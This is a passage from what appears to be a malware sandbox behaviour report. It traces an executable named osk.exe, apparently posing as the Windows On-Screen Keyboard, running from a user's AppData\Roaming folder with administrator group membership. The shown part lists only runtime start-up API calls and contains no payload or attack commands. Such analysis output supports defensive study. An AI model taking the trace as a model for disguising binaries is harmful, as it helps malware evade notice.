AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 33 os_tid = 0xaec Thread: id = 34 os_tid = 0xd84 Thread: id = 35 os_tid = 0xbe8 Thread: id = 36 os_tid = 0xfb0 Thread: id = 37 os_tid = 0xecc Process: id = "8" image_name = "osk.exe" filename = "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe" page_root = "0x18b67000" os_pid = "0x6cc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xe64" cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 43 os_tid = 0xdf4 [0213.288] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0213.288] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0213.292] GetProcAddress (hModule=0x74ea0000, lpProcName=0x454058) returned 0x74f97060 [0213.292] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0213.293] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsAlloc") returned 0x74f9bea0 [0213.293] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsSetValue") returned 0x74f92550 [0213.294] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0213.294] GetProcAddress (hModule=0x74ea0000, lpProcName="InitializeCriticalSectionEx") returned 0x74f97060 [0213.295] GetProcessHeap () returned 0x6b0000 [0213.295] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0213.295] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsAlloc") returned 0x74f9bea0 [0213.295] GetLastError () returned 0xcb [0213.295] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsGetValue") returned 0x74f870c0 [0213.295] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsSetValue") returned 0x74f92550 [0213.295] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x364) returned 0x6d75e0 [0213.296] SetLastError (dwErrCode=0xcb) [0213.296] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xe00) returned 0x6d7950 [0213.328] GetStartupInfoW (in: lpStartupInfo=0x19fe9c | out: lpStartupInfo=0x19fe9c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0213.328] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0213.328] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0213.328] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0213.328] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe\" " [0213.328] GetCommandLineW () returned="\"C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe\" " [0213.329] GetACP () returned 0x4e4 [0213.329] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x220) returned 0x6c24e8 [0213.329] IsValidCodePage (CodePage=0x4e4) returned 1 [0213.329] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19febc | out: lpCPInfo=0x19febc) returned 1 [0213.329] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f784 | out: lpCPInfo=0x19f784) returned 1 [0213.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd98, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0213.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd98, cbMultiByte=256, lpWideCharStr=0x19f528, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㦨DĀ") returned 256 [0213.329] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㦨DĀ", cchSrc=256, lpCharType=0x19f798 | out: lpCharType=0x19f798) returned 1 [0213.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd98, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0213.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd98, cbMultiByte=256, lpWideCharStr=0x19f4d8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0213.329] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0213.330] GetProcAddress (hModule=0x74ea0000, lpProcName="LCMapStringEx") returned 0x74f7ed00 [0213.330] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0213.330] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x19f2c8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0213.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x19fc98, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x3d\x8c\x17\x5b\xd4\xfe\x19", lpUsedDefaultChar=0x0) returned 256 [0213.330] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd98, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0213.336] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd98, cbMultiByte=256, lpWideCharStr=0x19f4f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㪾DĀ") returned 256 [0213.336] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㪾DĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0213.336] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㪾DĀ", cchSrc=256, lpDestStr=0x19f2e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0213.336] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x19fb98, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x3d\x8c\x17\x5b\xd4\xfe\x19", lpUsedDefaultChar=0x0) returned 256 [0213.337] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x80) returned 0x6bfba8 [0213.337] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19fce0, nSize=0x105 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe")) returned 0x27 [0213.337] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x75e90000 [0213.337] GetProcAddress (hModule=0x75e90000, lpProcName="AreFileApisANSI") returned 0x75ea4280 [0213.337] AreFileApisANSI () returned 1 [0213.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0213.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x49a678, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0213.337] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x30) returned 0x6c2c48 [0213.337] RtlInitializeSListHead (in: ListHead=0x49a110 | out: ListHead=0x49a110) [0213.338] GetLastError () returned 0x0 [0213.338] SetLastError (dwErrCode=0x0) [0213.338] GetEnvironmentStringsW () returned 0x6d8758* [0213.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0213.338] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x565) returned 0x6d9230 [0213.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x6d9230, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0213.338] FreeEnvironmentStringsW (penv=0x6d8758) returned 1 [0213.338] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x94) returned 0x6be7a0 [0213.338] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1f) returned 0x6baf08 [0213.338] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x28) returned 0x6ca3b0 [0213.338] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x37) returned 0x6da650 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3c) returned 0x6c1d50 [0213.339] RtlAllocateHeap 